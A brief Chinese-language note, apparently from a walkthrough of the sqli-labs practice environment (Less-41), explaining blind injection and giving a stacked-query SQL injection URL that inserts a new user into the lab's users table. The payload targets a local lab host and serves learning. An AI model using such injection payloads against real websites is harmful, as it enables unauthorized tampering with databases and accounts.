此处与less-39是一致的，区别在于41错误不回显。所以我们称之为盲注。
Payload：
http://192.168.11.189/sqli-labs/Less-41/index.php?id=1;%20insert%20into%20users(id,username,password)%20values%20(%27110%27,%27less41%27,%27hello%27)%23
